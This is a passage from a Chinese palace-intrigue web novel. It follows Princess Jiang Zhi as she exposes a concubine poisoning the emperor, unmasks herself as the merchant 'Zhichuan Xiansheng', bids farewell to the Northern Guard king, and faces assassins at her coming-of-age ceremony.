“将计就计。”姜肃眼神锐利,“陛下可装作不知,继续让王美人伺候。儿臣暗中调查她的背景,看她与何人联络。待证据确凿,一网打尽!”
皇帝沉默良久,最终点头:“好,就按你说的办。但朕要尽快知道结果。”
“儿臣遵旨。”
第125章 太子重新复位
姜肃退出乾元殿,立刻派人去查王美人的底细。
同时,他按照姜稚信中的建议,开始联络朝中可靠的大臣,准备应对可能的变故。
而这一切,都被躲在暗处的眼线看在眼里。
东宫,废太子姜诚听完汇报,脸上露出了诡异的笑容。
“姜肃开始查了?好啊,让他查。”他端起茶杯,轻轻吹了吹,“查得越深,死得越快。”
他身边坐着一个黑衣人,声音沙哑:“殿下,王美人那边恐怕撑不了多久。姜肃不是傻子,一旦查到她与我们的联系,会对我们很不利。”
“那就让她抓紧时间,发挥最后的价值。”姜晟放下茶杯,“告诉王美人,三日后动手。事成之后,许她全家富贵。”
“是。”
黑衣人退下后,姜晟走到窗前,看着宫城的方向,眼中满是疯狂。
“父皇,别怪儿臣心狠。要怪,就怪你太偏心,把什么都给了雍王一家。那个位子本就该一直是我的。”
他摸了摸胸口,那里藏着一块黑色令牌——
红莲尊者令。
“红莲教,暗梅令,匈奴…所有人都只是棋子。等我登基,这些棋子,一个都别想活。”
窗外的风吹进来,带着初春的寒意。
姜诚打了个冷战,忽然剧烈咳嗽起来,咳得撕心裂肺。
伺候的太监连忙上前:“殿下,您这病…”
“无妨。”姜晟摆手,眼中闪过算计,“病得好,病得妙。越病,那些人就越不会防备我。”
他重新躺回榻上,盖好锦被,又是一副病弱可怜的模样。
演技,他已经练了十年,早已炉火纯青。
......
三月十二,云州通往京城的官道上。
姜稚一行人正在疾驰。
为了赶时间,他们每人三匹马,轮流换乘,日夜兼程。
姜稚肩上的伤口已经崩裂,鲜血渗出,染红了绷带。
但她咬牙坚持,一声不吭。
姜寒川看在眼里,心中刺痛。
他策马靠近,将一个水囊递给她:“喝点水。”
姜稚接过,喝了一口。
是参汤。
“王太医配的,能提神。”姜寒川道,“你别硬撑,实在不行,我们歇一晚。”
“不能歇。”姜稚摇头,“三月十五京城有变,我们必须在那之前赶回去。”
“可是你的伤…”
“死不了。”姜稚笑笑,脸色却苍白如纸。
姜寒川不再劝,只是默默跟在她身边,小心翼翼护着她。
夜幕降临时,他们在一处驿站稍作休整。
姜稚刚下马,就差点晕倒,被姜寒川一把扶住。
“公主!”惊蛰急忙上前。
“我没事。”姜稚站稳,推开姜寒川的手,“就是有点累。”
她走进驿站,要了间房,让惊蛰重新包扎伤口。
伤口崩裂了,血肉模糊,看得惊蛰眼眶发红。
“公主,您这是何苦。”
“别说了。”姜稚咬住毛巾,“快点包,包完还要赶路。”
惊蛰含泪包扎,动作尽可能轻柔。包扎完,姜稚已经疼得满头冷汗,几乎虚脱。
就在这时,窗外传来异响。
“谁?!”惊蛰立刻拔剑。
几道黑影破窗而入,直扑姜稚!
暗梅令竟然追到这儿!
姜寒川就在隔壁,听到动静立刻冲进来,长剑出鞘,与黑衣人战在一处。
这次来的**非同一般,个个武功高强,而且配合默契。
“保护公主!”姜寒川厉喝。
山影卫纷纷赶来,但黑衣人显然早有准备。
见护卫众多,马上用了迷烟。
浓烟弥漫,山影卫等人视线受阻。
混乱中,一个黑衣人突破防线,一剑刺向姜稚心口!
“小心!”姜寒川想救,却被两个黑衣人缠住。
眼看剑尖就要刺到,姜稚忽然从怀中掏出一物——
红莲尊者令!
“红莲教众听令!”她举令牌,“见令如见教主!叛教者死!”
那黑衣人动作一滞,面具下的眼中闪过惊疑。
就这一瞬间的迟疑,惊蛰的短剑已到,刺入他咽喉。
黑衣人倒地,面具脱落,露出一张年轻的脸。
他死死盯着姜稚手中的令牌,用最后的气力说:“尊者…令…你…是…”
话未说完,气绝身亡。
其他黑衣人
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见令牌,攻势顿缓。
姜寒川趁机反杀,连毙两人。
剩下三人对视一眼,转身就逃。
“追!”惊蛰见状就要追上去。
“别追了。”姜稚阻止,“他们看到令牌,应该不敢再来了。我们抓紧时间赶路。”
姜寒川看着她手中的令牌,欲言又止。
他知道这令牌代表着什么。
稚儿怎么会跟红莲教扯上关系?
但他没问。现在不是时候。
简单处理了尸体,队伍再次出发。
这次他们更加警惕,但直到天亮,再没遇到袭击。
三月十三,午后,京城在望。
姜稚看着熟悉的城门,心中稍安。
但当她看到城墙上飘扬的旗帜时,心头一紧。
那是东宫的旗帜!
“墙上的旗帜是怎么回事?”她问守城士兵。
士兵认出她,连忙行礼:“公主,您回来了。太子殿下昨日被陛下赦免,恢复太子之位了。”
恢复太子之位?!
该来的还是来了!
她看向姜寒川,两人眼中都是震惊和不安。
事情,比他们想象的还要严重。
东宫的旗帜在风中猎猎作响,刺得姜稚眼睛生疼。
她勒住马,望着那面象征储君身份的明黄龙旗,指尖掐进掌心。
“公主,直接进宫吗?”惊蛰低声问。
“不。”姜稚摇头,“先回府,换朝服。”
“皇叔,您先回驿站休息,我回府先跟爹爹商量一下,我们晚点再碰面。”
姜寒川点头,“你自己当心点。”
姜稚在姜寒川关切的目光中,策马向着雍王府的方向奔去。
废太子复位,王美人下毒,这两件事必然有关联。
但证据呢?王太医的验毒结果够用吗?
爹爹能顺利说服朝臣们站在雍王府一边吗?
皇祖父如今的身体状况,还能主持大局吗?
这样的走向,会不会将所有人的结局重新拉回悲惨的结局?
一连串问题在她脑中盘旋。
但当姜稚看到雍王府门匾时,心中忽然安定下来。
这是她的家,她的根基,也同样将会是她的底气。
第126章 剥下蛇蝎美人的画皮
“稚儿!”姜肃听闻女儿回来,火速迎出府门。
见到女儿肩头渗血的绷带,眼眶一红,“你这孩子…”
“爹爹,我没事。”姜稚下马,“先进屋说。”
书房里,姜肃将这几日京城发生的事说给姜稚听。
当听到皇帝是在王美人“悉心照料”下,念及旧情赦免废太子时,姜稚冷笑:
“好一个念及旧情。皇祖父对窦贵妃有愧,他们就找个酷似的替身,真是煞费苦心。”
“王太医的验毒结果已经出来了。”姜肃从暗格中取出一叠纸,“所有王美人经手的器皿,都验出了‘相思引’的痕迹。指纹清晰,证据确凿。但…”
“但是什么?”
“但是陛下不让声张。”姜肃苦笑,“他说要放长线钓大鱼,查王美人背后的指使者。可如今太子已经复位,这条线还怎么钓?”
姜稚翻看王太医的验毒记录。
纸上详细记录了每个器皿的检验过程,附有指纹拓印和药水反应图,证据链完整严密。
“现在只需要等待一个时机。”姜稚看完记录,心中有了计较。
姜肃听了,心中一动:“稚儿,你说要等时机,什么时机?”
“明日早朝。”姜稚眼神锐利,“爹爹,您明日当朝**王美人谋害圣上,出示验毒证据。同时,我要以‘稚川先生’的身份,公开商行所有账目,自证清白。”
“你要公开身份?!”姜肃一惊,“现在还不是时候…”
“再等就来不及了。”姜稚沉声道,“太子复位,世家必然反扑。他们一定会拿‘稚川先生’做文章,污蔑我们通敌走私。与其被动挨打,不如主动出击。”
她顿了顿:“爹爹,烦您告诉王太医,让他准备当朝演示指纹验毒之法。咱们就当着所有人的面,揭开他们恶毒的手段。”
“好,为父去办。”他点头,“稚儿,你这伤也让王太医过来给你瞧一瞧吧。”
“无妨。”姜稚摸了摸肩膀,“比起京城之危,这点伤不算什么。”
姜稚安抚好父亲,回到自己房间,让惊蛰重新包扎伤口。
这一次伤口溃烂得厉害,惊蛰边包扎边掉泪。
“公主,您这伤再不静养,会留病根的。”
姜稚看了一眼伤口,不甚在意,“只要大晟安好,留个疤算什么。”
似是想到什么,朝惊蛰吩咐,“通知福安叔,让他将商行所有账册、契约、往来文书整理好,明日运到宫门外候命。”
惊蛰领命离开。
姜稚坐回梳妆台前,此刻镜中的少女虽面色苍白,但眼神却明亮如星。
次日辰时,皇宫大殿之内。
朝堂气氛诡异。
前排站着重新复位的吏部尚书王珣,复位的太子姜诚,雍王姜肃和站在他身后的姜寒川。
三拨人泾渭分明,沉默观望。
皇帝坐在龙椅上,脸色比前几日好些,但依然病容明显。
王美人侍立一旁,低眉顺目,一副温婉模样。
“有本启奏,无事退朝。”赵德全的声音打破寂静。
“臣有本奏!”姜肃第一个出列,“臣**美人王氏,谋害圣上,罪证确凿!”
满殿哗然。
王美人脸色一白,跪倒在地:“雍王殿下何出此言!陛下,妾身冤枉!”
皇帝皱眉:“肃儿,你可知道你在说什么?”
“儿臣知道。”姜肃从袖中取出验毒记录。
“太医署王太医近日研得古法,名‘指纹验毒’,可验出银针难查之奇毒。”
“经查验,王氏经手之器皿,皆验出‘相思引’慢性奇毒之痕。此毒遇参则发,缓慢侵蚀五脏,正是陛下龙体日衰之因!”
他将记录呈上。
王珣出列反驳:“荒唐!什么指纹验毒,闻所未闻!雍王莫不是故意构陷!”
“是不是构陷,一试便知。”姜肃转身,“王太医,请。”
王太医捧着药箱上殿。
他先取出一只干净的玉碗,请皇帝按上指纹,然后用药水涂抹,指纹显现,但无色。
接着,他又取出一只碗,正是王美人昨日用过的。
用药水涂抹后,几个清晰的指纹显现,指纹处却呈青黑色。
“陛下请看。”王太医声音颤抖,“这青黑色便是‘相思引’之毒痕。”
“此毒涂抹指尖,借喂食之机渗入食物。单独验毒无毒,但遇
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参则化毒,日积月累,可致人虚弱而亡。”
他顿了顿,补充道:“老臣查验过,陛下近期所服参汤,皆经王氏之手。”
铁证如山。
皇帝猛地站起,又因虚弱跌坐回去,指着王美人:“你…你好大的胆子!”
王美人瘫软在地,忽然看向太子姜诚,眼中满是哀求。
姜诚心中一惊,立刻出列跪倒:“父皇息怒!龙体要紧!此事定有误会!王美人温柔贤淑,怎会做出此等恶事?怕是有人栽赃陷害!”
他这一跪,世家官员纷纷跟着跪倒:“请陛下明察!”
朝堂顿时分为两派,争执不休。
就在这时,殿外传来清亮的女声:
“是不是陷害,查查王美人的背景便知。”
众人回头,只见姜稚身着公主朝服,缓步走入大殿。她肩伤未愈,走得有些慢,但每一步都沉稳有力。
姜稚走到殿中央,行礼,“孙儿刚从北疆回来,带回两个消息。一好一坏,不知皇祖父想先听哪个?”
皇帝看着她:“先说坏的。”
“坏消息是,匈奴集结十万大军,云州危在旦夕。”姜稚声音平静。
“好消息是,孙儿已查明北疆军粮案、军械流失案、乃至此次匈奴入侵,背后皆有人与朝中勾结。”
她转身,看向王美人:“而这位王美人,便是关键一环。”
王美人浑身发抖:“你血口喷人!”
“是不是血口喷人,查查便知。”姜稚从袖中取出一份名单。
“这是山影卫查到的,王美人入宫前所有接触之人。其中三人,与废太子——哦不,是与太子殿下有过密切往来。”
她将名单呈上。
皇帝一看,脸色大变。
名单上赫然有太子伴读、东宫侍卫,甚至还有窦贵妃当年的宫女。
“姜诚!”皇帝怒视太子,“你作何解释?!”
姜晟跪在地上,泪流满面:“父皇明鉴!儿臣冤枉!儿臣被废之后,闭门思过,痛改前非,怎会再做此等恶事?这定是有人要陷害儿臣,离间我们父子啊!”
他哭得撕心裂肺,情真意切。
朝臣们一瞬间也不知该相信谁。
第127章 稚川先生身份大公开
大殿之上,太子姜诚抬头,眼中满是委屈,“父皇,我知之前做过很多错事,雍王府上下都不喜欢我,可也不能如此污蔑啊!我有什么理由害父皇?害大晟?”
“理由?”姜稚走到他面前,居高临下。
“理由就是,你想重新掌权,想借匈奴之力除掉雍王府和十三皇叔。”
“还有…”
“你要皇祖父的位子…不惜一切代价!”
她每说一句,姜诚的脸色就白一分。
王珣忍不住了:“公主无凭无据,岂可妄加揣测!”
“谁说无凭无据?”姜稚转身,面向满朝文武,“诸位大人不是一直想知道‘稚川先生’是谁吗?今日,我就告诉你们。”
她深吸一口气,声音清越:“‘稚川先生’,就是我,姜稚!”
死寂,整个大殿落针可闻。
所有人都目瞪口呆地看着那个年仅十一岁的少女,不敢相信自己的耳朵。
“不、不可能。”王珣喃喃道,“‘稚川先生’富可敌国,智谋超群,怎会是个女童。”
“为什么不能是女童?”姜稚反问,“就因为我年幼,因为是女子,就不能有经商之才?就不能有济世之志?”
她走到殿门口,对外面道:“抬进来!”
八个山影卫抬着四口大箱子走进大殿。
箱子打开,里面是堆积如山的账册、契约、文书。
“这是稚川商行成立至今所有账目。”姜稚随手拿起一本。
“王尚书不是怀疑商行走私吗?不是怀疑‘稚川先生’通敌吗?请查!每一笔账,每一份契约,都在这儿。若有半分不清,我姜稚愿以死谢罪。”
她将账册递给王珣。
王珣颤抖着接过,翻看几页,脸色越来越难看。
所有账目清晰得可怕,每一笔进出都有详细记录,经手人、时间、地点、货物明细,一目了然。
“这…这…”王珣已经说不出完整的话语。
“怎么,查不出问题?”姜稚微笑,“那我来帮王尚书查查。”
她又从箱子里取出一本册子:
“这是太原王氏近三年与匈奴的私下交易记录,内容真是相当精彩。”
“元嘉三十三年三月,王氏商队以茶叶换马匹,实则在茶叶中夹带生铁三千斤。”
“元嘉三十三年七月,王氏以丝绸换皮**,实则夹带**机图纸…”
她一桩桩念出,每念一桩,王珣的脸色就惨白一分。
“你含血喷人!”王珣气急败坏。
“证据在这儿,怎么能说我是含血喷人呐?”姜稚嘴角挂着嘲讽的笑意,将册子递给皇帝。
“皇祖父,这是孙儿从匈奴千夫长身上搜出的交易记录,上面有王氏商行的印记,还有王尚书的私章拓印。”
皇帝接过一看,勃然大怒:“王珣!你还有何话说?!”
王珣瘫软在地,面如死灰。
姜稚转身,看向满朝文武:“诸位大人,我姜稚以‘稚川先生’之名立世,所为不过是三件事:
让百姓有盐吃,有衣穿;让寒门士子有书读,有官做;让大晟国库充盈,边疆安稳。”
她声音不大,却字字铿锵:“这些,何错之有?!”
朝堂寂静。
那些原本准备反驳的世家官员,此刻都哑口无言。
徐学士忽然出列,跪地高呼:“公主大义!‘稚川先生’千古!”
接着,韩尚书、李侍郎等寒门官员纷纷跪倒:“公主大义!‘稚川先生’千古!”
呼声如潮,震撼殿宇。
皇帝看着这一幕,眼中闪过复杂情绪。
他没想到,自己这个孙女,竟有如此魄力,如此智慧。
“稚儿,”他缓缓开口,“你可知,女子经商干政,乃大忌?”
“孙儿知道。”姜稚跪地一拜。“但孙儿更知道,国难当头,不论男女,都该为国出力。”
“皇祖父,北疆十万匈奴压境,云州三万守军苦战。朝廷有人却在此时争权夺利,陷害忠良。如此下去,大晟危矣!”
她重重磕头:“孙儿愿以‘稚川商行’全部身家,资助北疆军需。愿以镇北王虎符,助十三皇叔抗敌。只求皇祖父彻查此案,还朝堂清明,还边疆安宁!”
这番话,掷地有声。
皇帝沉默良久,终于开口:“传朕旨意。”
所有人都屏住呼吸。
“美人王氏谋害圣躬,罪证确凿,押入天牢,严刑拷
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问,务必查出幕后主使。”
“吏部尚书王珣勾结外敌,罪同叛国,革职查办,王家全部财产充公,族人流放三千里。”
“还有,”皇帝看向太子姜晟,眼中闪过痛楚,“太子姜诚,虽无直接证据参与谋逆,但用人不察,牵连甚广。罚俸三年,禁足东宫三月,闭门思过。”
听到对太子的处罚,姜稚心中一沉。
皇祖父终究还是心软了。
姜诚却哭得更厉害,重重磕头:“谢父皇开恩!儿臣定当闭门思过,绝不再犯!”
他额头顶着地面,眼中却闪过一丝得意。
他知道,龙座上的人还是念着父子之情,只要保住太子之位,他就有翻盘的机会。
皇帝看向姜稚,“镇国安宁公主姜稚,献虎符,破奇案,忠心可嘉。特赐金牌一面,特许公主府设议事厅,可参与朝政讨论。”
姜稚心中明白,这是皇帝能给予的最大限度。
既表彰她的功劳,又不至于打破祖宗礼法,引起朝野非议。
“孙儿谢皇祖父隆恩!”她跪地叩首。
“最后,”皇帝看向姜寒川,“十三皇子姜寒川,毒伤未愈仍心系北疆,忠勇可嘉。”
“至此,改姓氏为‘萧’,重回萧氏宗祠,承袭其父王爵,封‘镇北王’,统领北疆所有军务。即日起程,赴北疆督战。”
镇北王!
这个封号,意味着姜寒川正式脱离了皇子身份,回归镇北王一脉。
从今往后,他只是镇北王,只是萧寒川,而不再是名义上的十三皇子。
萧寒川跪地:“臣领旨谢恩。”
他的声音平静,但姜稚听出了其中的沉重。
北疆战事不知要打多久,此一去,或许就是数年。
“退朝!”
皇帝起身,在赵德全搀扶下离开。
他经过姜稚身边时,低声说了一句:“稚儿,好好辅佐你父亲。”
姜稚心头一酸:“孙儿明白。”
朝臣们陆续散去。世家官员个个面色灰败,太子**虽受打击,但太子之位保住,仍有卷土重来的希望。
寒门官员则欢欣鼓舞,簇拥着姜肃父女。
这一场朝堂之仗,他们打得漂亮。
第128章 镇北王重返北疆战场
散朝后,摆脱朝臣们潮水般的恭贺,姜稚三人并肩往宫外走。
姜稚走在最前面,脑中像有一架水车在转:太子被禁足、匈奴烽火…每一桩都似滴水穿石,敲得她太阳穴隐隐作痛。
萧寒川落后她半步,脸色苍白得近乎透明,薄唇抿成一条刀锋似的线。风一吹,他的肩头虽然有些轻微的晃动,却仍把脊背挺得笔直,像一柄不肯折断的北疆**。
姜肃走在最后,玄色**袍被风鼓起,袍角翻飞,猎猎如旗。他负手而行,目光沉如渊海。
宫门口,姜稚看了一眼姜寒川,见他脸色不好,忙开口询问:“皇叔,你的毒伤…”
“现在可不能叫皇叔了,前镇北王跟我是平辈,按照辈分,你应该称寒川一声‘大哥’的。”
姜肃出言纠正。
“无妨。只是个称呼而已。”姜寒川低笑,喉间压着轻咳,“雍王殿下、稚儿,北疆军情紧急,我明日卯时便要起程回北疆了。”
“这么快?”姜稚闻言有些吃惊。
“匈奴军情,耽搁不得。我若迟一日,边境便多一具无名尸。”萧寒川看着姜稚,眼中闪过复杂的情绪。
“稚儿,京城比北疆更冷,人心像是淬了毒的刀,你一定要小心!太子虽被禁足,但不会善罢甘休。”
“我知道。”姜稚点头,翻涌的情绪压进喉咙,“皇叔,不对!是大哥!你也要保重。北疆苦寒,好好照顾自己。”
“我会的。”萧寒川闻言,心中一暖。
姜肃走过来,拍了拍萧寒川的肩:“寒川,北疆就交给你了。京城这边,有我和稚儿。”
体温透过衣料,传递着彼此间无声的支撑。
三人正说着,忽有急促脚步踏碎三人之间的温情。
一个小太监匆匆跑来:“公主殿下,陛下传您去御书房。”
姜稚心中一紧,看向父亲和萧寒川。
“去吧。”姜肃道,“陛下应该有话交代。”
萧寒川却忽然伸手,替她拈下鬓边一片飞雪似的柳絮。
指尖擦过她耳垂,冰凉。
“别怕。一切有我们在。”他低声道,像在安抚姜稚,也像是说给自己听。
姜稚点点头,步伐坚定地朝着御书房走去。
……
御书房外,赵德全垂手而立,眼皮半阖,像一尊木雕。
门扉阖上,铜鎏金瑞兽香炉吐出的一缕龙涎笔直上升,像一条不肯弯曲的脊梁。
皇帝立在紫檀案前,只穿常服,鬓角霜白被烛光照得发亮。
“稚儿,你过来。”皇帝招手,声音不高,却带着倦意。
姜稚走近,神态恭敬。
皇帝看着她,眼神复杂:“告诉皇祖父,那些经商之道,那些治国之策,真是你想出来的?”
皇帝问的这个问题,姜稚早有准备。
“有些是孙儿从古籍中学的,有些是孙儿自己想的。”她坦然道。
“皇祖父,不瞒您说,孙儿时常做一个梦。梦中看到一个盛世,百姓安居,国家强盛。孙儿只是想把梦变成现实。”
这话半真半假,却最能打动人。
御书房陷入长久的静默。
皇帝沉寂良久,忽然长叹:“你父亲少年时,也曾有梦,可惜被‘祖制’二字磨平了棱角。好在到了中年重新觉醒。你那些皇叔,更不必提…”
“稚儿,你比他们都强。”
接着,他话锋一转,眼底浮出惋惜,“可惜,你是女子。”
“女子又如何?”姜稚抬头,“皇祖父,古有妇好征战,班昭著史。今有孙儿,愿为皇祖父分忧,为大晟尽忠。”
皇帝看着她坚定的眼神,微微一怔,忽而朗笑:“好,好。那皇祖父就看看,你能走到哪一步。”
他从怀中取出一块令牌,递给姜稚:“这是‘如朕亲临’令牌,见此令如见朕。寒川此去北疆,粮草军需,你可全权调度。但记住…”
皇帝顿了顿,声音转冷:“此令只可用于紧急军国大事上,不得干预朝政,更不得私用。”
姜稚双手举过头顶,掌心向上,“孙儿明白,谨记皇祖父天恩。”
令牌入手,沉甸甸,像压了一整座江山。
姜稚起身告退,跨过门槛时,听见皇帝似自言自语地低吟:“稚
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儿,但愿朕能活到看你把梦种成现实的时候。”
离开御书房时,天色已近黄昏。
姜稚握着那块沉甸甸的令牌,心中百感交集。
权力有了,但限制更多了。
荣宠有了,但责任更重了。
而且萧寒川也要走了,这一别,不知何时才能再见。
想到这儿,姜稚又折返到太医院,去找了王太医一趟。
王太医正在小炉前调药,银匙碰盏,叮当作响。见到姜稚,忙起身:“殿下?”
“太医不必多礼,我来此处是麻烦您帮我准备点东西。”
……
走到宫门口时,远远瞧着,姜稚发现萧寒川竟还等在那里。
夕阳下,萧寒川的影子被拉得很长。
“大哥。”姜稚唤他。
“明日卯时,我就要出发了。”姜寒川闻声,向着姜稚走近,“北疆路远,战事不知要打多久。稚儿,我不在的时候,你要照顾好自己。”
“我会的。”姜稚点头,“大哥也要保重。北疆苦寒,你的毒伤未愈,要多加小心。”
她从怀中取出一个锦囊:“这里面是王太医配的药方,还有几瓶特制的金疮药。大哥带着,以备不时之需。”
萧寒川接过锦囊,握在手中:“稚儿,等我平定北疆,我一定会马上回来。”
“嗯。”姜稚应着,眼眶微热。
两人并肩走出宫门。
夕阳将他们的身影镀上一层金色,仿佛在预示着,一段漫长的离别即将开始。
而此刻,东宫。
姜诚坐在黑暗中,手中把玩着那块红莲尊者令。
他的脸上早已没了朝堂上的可怜模样,取而代之的是满脸的阴狠。
“好,好得很。”姜诚狞笑着。
他将令牌收好,对暗处道:“传令下去,所有行动暂缓。告诉红莲教,按兵不动。也通知匈奴,拖住萧寒川,越久越好。”
“是。”暗处传来回应。
姜诚走到窗前,看着渐沉的暮色,眼中闪过野心:“我们就看看,谁能笑到最后。”
一场跨越数年的漫长博弈,就此拉开序幕。
第129章 时光飞转,成人礼至
元嘉四十一年,春,京城。
八载光阴如白驹过隙。
雍王府的庭院里,那株老梅都已亭亭如盖。
春日的阳光透过枝叶洒下斑驳光影,落在石桌旁执卷阅读的少女身上。
姜稚放下手中账册,揉了揉眉心。
十八岁的她已褪去稚气,眉眼间沉淀着超越年龄的沉稳与锐利。
一袭天水碧襦裙,发髻轻挽,只簪一支羊脂玉簪,素净中却透着不容忽视的威仪。
“公主,北疆军报。”惊蛰快步走来。
八年时光惊蛰也越发干练,如今已是公主府第一女官。
姜稚接过军报,快速浏览。
北疆战事已持续八年,匈奴大军几度易帅,却始终未能突破云州防线。
镇北王萧寒川以三万守军抵挡匈奴大敌,大小战役百余场,未尝一败,“北疆战神”之名威震漠北。
但代价也是惨重的。
八年战事,北疆边军折损近半,粮草军需消耗巨大。
若非“稚川先生”倾尽财力支持,怕是早已支撑不住。
“镇北王又受伤了?”姜稚看着军报中一笔带过的“主帅轻伤”四字,眉头微蹙。
惊蛰低声道:“韩将军密信中说,王爷上月亲自带兵夜袭匈奴粮道,左臂中了一箭,好在未伤筋骨。但王爷不肯回城养伤,仍在军中坐镇。”
姜稚沉默。
八年了,萧寒川只回京三次,每次都是匆匆而来、匆匆而去。
最后一次见面,还是一年前。
那日他风尘仆仆从北疆赶回,送了她一柄镶着北疆雪狼牙的**,说:“稚儿长大了。”
然后便又是分别。
“公主,明日是您的成人礼,一切已准备妥当。”惊蛰提醒道,“听王爷说,陛下昨日还提起,说一定要办得隆重。”
姜稚点头。
十八岁成人礼,在大晟是女子一生中最重要的仪式之一。
皇祖父亲自下旨,要在宫中为她举办典礼,朝中三品以上官员及命妇皆需到场。
这本是无上荣宠,但姜稚心中清楚,这或许又是一场没有硝烟的战争。
太子姜诚这八年来表面安分守己,实则暗中联络世家残余,积蓄力量。
明日他定会有所动作。
“东宫那边有什么动静?”姜稚问。
“那边这几日宾客不断,虽然都是打着探病的名义,但据山影卫观察,进出者中有不少生面孔。”惊蛰递上一份名单。
“这是三日内出入东宫的人员记录,其中三人经查实,与江南盐商有密切联系。”
江南盐商…
姜稚眼神一冷。
自推行盐引制以来,江南盐利尽归国库,那些原本垄断皇家盐业的世家豪商损失惨重。
这些人恨她入骨,与太子勾结倒也不意外。
“继续盯着。”姜稚将名单收起,“另外,商行在江南的所有分号,即日起加强戒备。尤其是盐仓、码头这些关键地方。”
“是。”
惊蛰退下后,姜稚起身走到窗前。
庭院中春光正好,桃花初绽,但她心中却无半分闲适。
八年了。
这八年里,她以“稚川先生”之名掌控商行,财富累积已难以计数;
以“镇国安宁公主”之身参与朝政,虽无摄政之名,却有参政之实;
在父亲姜肃的大力推举下,科举糊名制全面推行,寒门士子大量涌入朝堂;
而盐茶专营制度巩固,国库岁入翻了两番;
黄河治理也初见成效,连续三年未发生大规模水患…
但阻力也越来越大。
世家虽遭重创,但百年根基岂是那么容易撼动的。
他们转明为暗,在朝中、地方、甚至军中编织着一张无形的大网。
而太子姜诚,就是这张网的枢纽。
“公主。”秋露的声音在门外响起,“王爷从北疆送的礼物到了。”
姜稚转身:“拿进来。”
秋露捧着一个檀木盒子进来。
打开后,里面是一件银狐裘披风。
皮**洁白如雪,柔软蓬松,一看就是顶级货色。
披风下压着一封信。
姜稚拿起披风,触手温润柔软。
她不自觉又隔着衣服摸了一下胸前的一个硬物。
那是萧寒川送她的那枚狼牙吊坠,她至今仍贴身戴着。
然后展开信笺。信纸上的字迹刚劲有力,是萧寒川的亲笔:
“稚儿如晤。北疆
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春来迟,冰雪初融。闻汝成人礼将至,特觅得上好银狐皮,制裘以赠。”
“北疆战事胶着,匈奴新换主帅,用兵诡谲,恐有长期对峙之势。然将士齐心,粮草充足,稚儿勿忧。惟愿汝平安喜乐,顺遂安康。寒川手书。”
信很短,但字里行间透着关切。
姜稚注意到“长期对峙”四字,心中一沉。
北疆战事已经拖了八年,若再继续下去,对国力的消耗将是惊人的。
她提笔回信,将京城近况、太子动向、以及她对北疆战事的建议一一写下。
最后犹豫片刻,添上一句:“春寒料峭,望皇叔珍重。稚儿甚念。”
封好信,她交给秋露:“用最快的渠道送到北疆。”
“是。”
次日清晨,天色尚暗,雍王府已灯火通明。
正堂设九楹朱红大灯,灯罩以绛纱制成,绘百鸟朝凤。
烛火一燃,凤羽似动。
东次间,十二名女官侍浴,浴汤以白术、菖蒲、零陵香、桃花瓣等十二味草药熬就。
水色微碧,蒸汽氤氲。
姜稚赤足踏入。
水波漾开,烛光在水面碎成万点金鳞。
她阖眼,任热水漫过肩胛,锁骨处的旧疤在热意中隐隐作痛。
出浴后,有老嬷嬷以五色丝绳为她绞面,细绳在她额角、颌下翻飞,发出轻微的“嗤嗤”声,仿佛将最后一丝稚气也连根拔除。
接着是七层礼服:最里层素纱中单,第二层淡粉罗裙,第三层天水碧绣缠枝莲,第四层深青纻丝大衫……
每一层都由四名女官协同着衣,袖宽与衣长逐层递增,繁复美丽。
姜稚立在铜镜前,看着镜中人被重重锦绣包裹,像一柄被锦匣珍藏的宝剑,锋芒尽敛,却自有一份沉甸甸的威仪。
卯正三刻,宫门开启。
姜稚乘三十六人抬的翟轿,轿顶鎏金,四角垂以白玉铃,每行一步,铃声清越。
公主仪仗自雍王府正门排至皇宫的丹凤门,旗幡招展。
而街道两侧,百姓跪伏,无人敢抬头。
姜稚端坐轿中,双手交叠于膝,指尖在广袖下微微收紧。
人生的新篇章,从此刻正式打开。
第130章 及笄礼下的惊心动魄
太和殿内,铜鹤衔芝,香烟缭绕。
皇帝姜桓坐在龙椅之上,头戴十二旒冕。
旒珠轻晃,掩住他眼底的疲态。
太子姜诚立于东侧,举手投足间满是东宫威仪。
殿内金钟三响,礼官高唱:“吉时已至——”
及笄、加冠、赐字…
仪式繁复而有序。
礼毕,姜稚俯身叩首,额头触地,冰凉的金砖透过锦帛传来寒意。
起身时,百官齐贺,声浪滚滚。
太子姜诚站在百官前列,面带微笑,眼中却无半分喜色,眉宇间那股阴郁之气更重了。
“太子伯父,安好。”姜稚走到他面前,行礼,“多谢伯父前来观礼。”
姜诚温和一笑:“稚儿成人,作为伯父自然要来。这些年你在朝中多有建树,伯父很是欣慰。”
这话说得冠冕堂皇,但姜稚听出了其中的讽刺。
她微笑回应:“都是皇祖父教诲,父亲教导,稚儿不敢居功。”
两人目光相触,空气中仿佛有看不见的火花迸溅。
宴席旋即摆开。
太和殿前庭,一百八十张紫檀案摆成“回”字,案脚以赤金包镶,案面铺蜀锦,锦上绣百子图,童子个个眉眼带笑,却无一雷同。
姜稚被命妇们簇拥着谈笑。
身上九层礼服尚未褪下,翟衣下摆足足八幅,每幅边缘坠一圈极细南珠,行走间珠串相撞,声音如细雨击瓦。
她举杯应酬,杯中却非酒,而是琥珀色蜜露,入口甘芳。
这时,一个宫女低头过来,她着最寻常的青绢襦裙,腰间悬一面银绶,行走时如弱柳扶风。
她执壶斟酒时,手中壶嘴忽然一滑,琥珀液体泼溅而出,正落在姜稚裙脚。
酒液浸珠,裙角瞬间暗了一片。
“奴婢该死!奴婢该死!”宫女吓得扑通一声跪倒在地,连连磕头,眸光深处的得逞一闪而逝。
姜稚目光在宫女身上停了半晌,随即摆摆手:“无妨,起来吧,带我去更衣即可。”眼神看向惊蛰,状似随意地吩咐道,“你陪我一起去。”
两人眼底皆无波澜,但当姜稚手搭上惊蛰手时,二人在袖内交换了一个极轻的碰触。
宫女领命起身,在前面为姜稚引路。
更衣殿在太和殿侧后方,需要穿过一段长廊。
宫女在走廊上越走越快,一个拐角,人竟然消失不见。
而此地,道侧砖缝杂草疯长,高及人膝,草叶边缘结着细小霜花。
夹道尽头,一盏风灯摇摇晃晃,烛光忽明忽暗,像垂死之人的喘息。
“来了。”半晌后,姜稚低语。
几乎同时,两侧墙头“噗噗”连声,灯笼尽灭,世界沉入墨海。
惊蛰早已拔剑,护在姜稚身前。
下一瞬,数道黑影从暗处扑出!
“有刺客!保护公主!”惊蛰大声厉喝。
山影卫瞬间现身,与黑衣人战在一处。
这些黑衣人武功极高,出手狠辣。
让姜稚心惊的是,其中一人的招式她见过——
暗梅令的梅花剑法!
暗梅令竟然再次潜入皇宫了!
